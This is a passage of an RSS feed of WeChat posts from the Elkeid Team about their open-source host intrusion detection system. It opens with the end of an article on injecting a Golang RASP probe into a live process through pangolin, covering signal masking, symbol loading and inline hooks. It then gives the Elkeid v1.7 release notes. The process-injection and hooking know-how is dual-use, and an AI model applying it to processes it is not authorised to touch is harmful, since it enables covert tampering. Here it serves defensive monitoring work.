href="https://github.com/Hackerl/pangolin/blob/master/shellcode/loader/quit.c#L18" target="_blank">https://github.com/Hackerl/pangolin/blob/master/shellcode/loader/quit.c#L18</a></span><span data-position="15152" data-size="22" style="box-sizing: border-box;">)，能够根据该快照主动恢复线程，类似于 </span><code data-position="15175" data-size="5" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">glibc</span></code><span data-position="15181" data-size="3" style="box-sizing: border-box;"> 的 </span><code data-position="15185" data-size="10" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">setcontext</span></code><span data-position="15196" data-size="3" style="box-sizing: border-box;">，而 </span><code data-position="15200" data-size="4" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">QUIT</span></code><span data-position="15205" data-size="8" style="box-sizing: border-box;"> 环境变量正是 </span><code data-position="15214" data-size="4" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">quit</span></code><span data-position="15219" data-size="5" style="box-sizing: border-box;"> 的地址。</span></p><p data-startline="360" data-endline="362" data-position="14649" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="15219" data-size="5" style="box-sizing: border-box;"></span><br style="box-sizing: border-box;"/><span data-position="15225" data-size="45" style="box-sizing: border-box;">在初始化文件日志后，先令当前线程屏蔽所有信号，之后启动的所有子线程都会继承该设置。然后从 </span><code data-position="15271" data-size="3" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">ELF</span></code><span data-position="15275" data-size="3" style="box-sizing: border-box;"> 的 </span><code data-position="15279" data-size="7" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">section</span></code><span data-position="15287" data-size="15" style="box-sizing: border-box;"> 中加载符号表、编译信息以及 </span><code data-position="15303" data-size="9" style="box-sizing: border-box;">interface</code><span data-position="15313" data-size="17" style="box-sizing: border-box;"> 表，并且为了支持阻断功能，查找 </span><code data-position="15331" data-size="21" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">errors.(*errorString)</span></code><span style="box-sizing: border-box;background-color: rgb(214, 214, 214);"> </span><span data-position="15353" data-size="11" style="box-sizing: border-box;">的地址并保存。执行 </span><code data-position="15365" data-size="20" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">gSmithProbe-&gt;start()</span></code><span data-position="15386" data-size="18" style="box-sizing: border-box;"> 启动通信客户端后，从符号表中查找 </span><code data-position="15405" data-size="10" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">GOLANG_API</span></code><span data-position="15416" data-size="10" style="box-sizing: border-box;"> 所有子项，并进行 </span><code data-position="15427" data-size="11" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Inline Hook</span></code><span data-position="15439" data-size="19" style="box-sizing: border-box;">。完成以上流程后，恢复信号掩码并调用 </span><code data-position="15459" data-size="4" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">quit</span></code><span data-position="15464" data-size="7" style="box-sizing: border-box;"> 函数以通知 </span><code data-position="15472" data-size="8" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">pangolin</span></code><span data-position="15481" data-size="6" style="box-sizing: border-box;"> 结束注入。</span></p><p style="text-align: left;"><br/></p>



<p><a href="2247484118">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=97488bf7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NTc1NTcwNg%3D%3D%26mid%3D2247484118%26idx%3D1%26sn%3Ddae8265bf875e2ab3ea18e5ebb29028c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 28 Feb 2022 16:00:00 +0800</pubDate>
    </item>
    <item>
      <title>Elkeid v1.7 更新说明</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NTc1NTcwNg==&amp;mid=2247484113&amp;idx=1&amp;sn=70f35863d90e6d200174015a05d611b1</link>
      <description>Elkeid 1.7 更新说明</description>
      <content:encoded><![CDATA[<p>
原创 <span>Elkeid Team</span> <span>2022-01-24 09:37</span> <span style="display: inline-block;"></span>
</p>

<p>Elkeid 1.7 更新说明</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=180b0689&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjEESHeKDyVxXBcheCbhc9bibtpEpm3kyNgMoGr6xrgLMS8G6OE2Z1k6COH7Fq9XmRXTibhB6JJ4KygOiaxE7MN7AA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="font-size: 16px;"><h2><span style="font-size: 16px;"><strong>Driver 更新/优化项</strong></span></h2><ul class="list-paddingleft-2"><li style="font-size: 16px;"><p><span style="font-size: 16px;">新的数据传输模块，增强了兼容性</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">execve hook 的数据采集过程中有效抑制了大内存的申请</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">优化了 execve hook 中的 socket 采集逻辑，采集过程中屏蔽了无效的 socket</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">dns query hook 解决了极端情况下的性能问题，回归</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">新增了mount hook</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">增加了 usb device add and remove notify hook</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">vfs 相关的hook增加了 super block id 的采集</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">优化了 prctl 的采集功能，在 newname 与 oldname 相同的情况下不采集该数据</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">sandbox 模式下新增了 openat/write/filte inode permission hook</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">sandbox 模式下新增了 fake remove file 的功能</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">扩容了 filter whitelist limit</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">修复了多项关于 filter 与 antirootkit 模块相关的bug</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">修复了部分错误的默认值使用的bug(link and rename)</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">提高了 driver 的兼容性，kernel version 支持从 3.10 - 5.4 到 2.6.32 - 5.14，并且增加了对ARM64 架构的支持</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">通过调整不合理的默认 kretprobe maxactive 进一步降低了driver的内存使用</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">accept hook IPV6支持及改进</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">代码结构优化，函数命名优化，复用代码优化</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">更新了1.7版本内核模块的预编译ko文件与ko列表：预编译 ko 新增覆盖部分 amzn2 内核，ubuntu-aws 内核</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">兼容EulerOS</span></p></li></ul><p><span style="font-size: 16px;"> </span></p><h2><span style="font-size: 16px;"><strong>Server 更新/优化项</strong></span></h2><ul class="list-paddingleft-2"><li style="font-size: 16px;"><p><span style="font-size: 16px;">AgentCenter通信适配PB版本</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">Manger适配PB版本，优化部分接口</span></p></li></ul><p><br/></p><h2><span style="font-size: 16px;"><strong>Agent 更新/优化项</strong></span></h2><ul class="list-paddingleft-2"><li style="font-size: 16px;"><p><span style="font-size: 16px;">重构插件模块，适配pb协议，优化IPC开销，提高插件系统稳定性</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">各项关键性能优化</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">新增网络占用、磁盘占用等数十项性能监控指标</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">正式发布rust、go插件框架，rust插件框架支持json debug模式输出</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">支持dpkg、rpm两种包管理与编译</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">新增elkeidctl工具，支持systemd、sysvinit&amp;cron两种自守护方式</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">增加通过cgroup限制资源的能力</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">支持安装时定义idc，方便区分不同业务/机器来源</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">修改了agent id的计算方法，尽可能保持唯一、固定</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">增强自升级能力的兼容性，目前在主流rhel/debian系发行版都可进行自升级</span></p></li></ul><p><br/></p><h2><span style="font-size: 16px;"><strong>RASP 更新</strong></span></h2><ul class="list-paddingleft-2"><li style="font-size: 16px;"><p><span style="font-size: 16px;">修复了Golang/CPython 重复注入引起的BUG。</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">弃用旧的 CPython 探针通信方式，改为 Python 编写。</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">支持 1.7 agent 的插件（详情见插件更新）</span></p></li></ul><p><br/></p><h2><span style="font-size: 16px;"><strong>插件更新</strong></span></h2><ul class="list-paddingleft-2"><li style="font-size: 16px;"><p><span style="font-size: 16px;">yara扫描插件</span></p></li><ul class="list-paddingleft-2" style="list-style-type: square;"><li style="font-size: 16px;"><p><span style="font-size: 16px;">适配新插件通信协议</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">新增开源 yara 规则</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">支持动态规则覆盖更新，若规则无效/更新失败，则重置回初始规则</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">支持临时自定义扫描任务下发</span></p></li></ul><li style="font-size: 16px;"><p><span style="font-size: 16px;">新增了 RASP 插件</span></p></li><ul class="list-paddingleft-2" style="list-style-type: square;"><li style="font-size: 16px;"><p><span style="font-size: 16px;">主动分析系统进程运行时</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">自定义黑白名单采集项</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">远程控制探针植入目标进程</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">支持与探针进行通信</span></p></li></ul><li style="font-size: 16px;"><p><span style="font-size: 16px;">driver插件更新</span></p></li><ul class="list-paddingleft-2" style="list-style-type: square;"><li style="font-size: 16px;"><p><span style="font-size: 16px;">增加了动态白名单机制，降低极端情况下的性能占用</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">procfs读取频率限制，提升极端情况下的稳定性</span></p></li></ul><li style="font-size: 16px;"><p><span style="font-size: 16px;">journal_watcher插件更新</span></p></li><ul class="list-paddingleft-2" style="list-style-type: square;"><li style="font-size: 16px;"><p><span style="font-size: 16px;">增强对低版本发行版的支持</span></p></li></ul><li style="font-size: 16px;"><p><span style="font-size: 16px;">collector插件更新</span></p></li><ul class="list-paddingleft-2" style="list-style-type: square;"><li style="font-size: 16px;"><p><span style="font-size: 16px;">重构定时模块，增强任务调度稳定性</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">增加jar包采集 </span></p></li></ul></ul><p><br/></p><h2><span style="font-size: 16px;"><strong>发布Elkeidup</strong></span></h2><p><span style="font-size: 16px;">支持一键自动化部署高可用 Elkeid</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.359375" data-s="300,640" data-type="png" data-w="1280" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=ebb4efd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxXBcheCbhc9bibtpEpm3kyNL9Dxdt8vwICdBxCPAxKrCicp3zeLJj1W1cnOAKxTic0yucWBiaGPkDr0A%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 122, 170);"><a href="https://github.com/bytedance/Elkeid/tree/main/elkeidup" target="_blank">https://github.com/bytedance/Elkeid/tree/main/elkeidup</a></span><br/></p><p><br/></p><h3><span style="font-size: 16px;"><strong>发布 Elkeid Console 社区版</strong></span></h3><p><span style="font-size: 16px;">主机详情</span></p><p><img class="rich_pages wxw-img" data-height="2110" data-ratio="0.4815152898219991" data-type="png" data-w="4382" data-width="4382" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=28ae4d93&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxXBcheCbhc9bibtpEpm3kyN31rlZt7dNicWousckTwRoHxMSqa52CURgn7FQrthNiaWiarm9Wort9nWg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 16px;">资产详情</span></p><p><img class="rich_pages wxw-img" data-height="1428" data-ratio="0.3269230769230769" data-type="png" data-w="4368" data-width="4368" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=dd521ff3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxXBcheCbhc9bibtpEpm3kyNZicglSNoO8yG826On7OvIfiaVTSHF9pDY5ujnvxV0sjEHddjErWbicx5A%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 16px;">告警详情(依赖Elkeid HUB开源策略，仅做示例，不保证准确性与策略覆盖率)</span></p><p><img class="rich_pages wxw-img" data-height="2594" data-ratio="0.5493434985175772" data-type="png" data-w="4722" data-width="4722" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=8429bdea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxXBcheCbhc9bibtpEpm3kyNEMhq66OqCly8PS4sficDYQLrkoxsvzzkTfib9Pl1Cqxmacibgn7CNYicBQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 16px;">白名单</span></p><p><img class="rich_pages wxw-img" data-height="736" data-ratio="0.5822784810126582" data-type="png" data-w="1264" data-width="1264" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=af8f4ea1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxXBcheCbhc9bibtpEpm3kyNJTxnarq7icIoO20W3Ej4R4ib75JPO55tLib1T9Tr0dTldsibdjmibDll2Ng%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 16px;">Agent/Plugin 管理</span></p><p><img class="rich_pages wxw-img" data-height="1506" data-ratio="0.48612007746933505" data-type="png" data-w="3098" data-width="3098" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=9e5a8e30&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxXBcheCbhc9bibtpEpm3kyNQ8f52DSNDBd8IciaYzqXsWicGibrDLpWYcwVqdXBH5HkWN7VmYkLf83Ng%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 16px;">用户管理</span></p><p><img class="rich_pages wxw-img" data-height="1604" data-ratio="0.5150931278098908" data-type="png" data-w="3114" data-width="3114" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=df4f4d3a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxXBcheCbhc9bibtpEpm3kyNV8fIQSQUcQPC2DurQJk2wcqDsx1IyFog35wpJKvicQiafoOIZV98noyg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><h2><span style="font-size: 16px;"><strong>发布 Elkeid HUB 社区版</strong></span></h2><p><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzI1NTc1NTcwNg==&amp;mid=2247484101&amp;idx=1&amp;sn=3899122705f269061285dee80b04c271&amp;chksm=ea305610dd47df0612e907f763caf8ba3e62bc5b6cb7e8a956bfda786fe6309bff326ab63265&amp;scene=21#wechat_redirect" textvalue="Elkeid HUB 社区版发布" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" style="font-size: 16px;" data-linktype="2"><span style="font-size: 16px;">Elkeid HUB 社区版发布</span></a><br/></p><p><br/></p><p><span style="font-size: 16px;"><strong>Github Repo</strong></span></p><p><span style="font-size: 16px;color: rgb(0, 122, 170);"><a href="https://github.com/bytedance/Elkeid" target="_blank">https://github.com/bytedance/Elkeid</a></span></p><p><br/></p><p><strong><span style="font-size: 16px;">交流群</span></strong></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.2035714285714285" data-s="300,640" data-type="png" data-w="560" style="width: 339px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=03c07efa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVw8iaFhHfqz5PwLNJp2zZ5MkibGxlJXBRratSBno4GzKSHOXI5PYxficfPZIOia6U5xqwwoJicO6mc1vaw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 16px;"></span><br/></p></section>



<p><a href="2247484113">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=5dac392d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NTc1NTcwNg%3D%3D%26mid%3D2247484113%26idx%3D1%26sn%3D70f35863d90e6d200174015a05d611b1%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 24 Jan 2022 09:37:00 +0800</pubDate>
    </item>
  </channel>
</rss>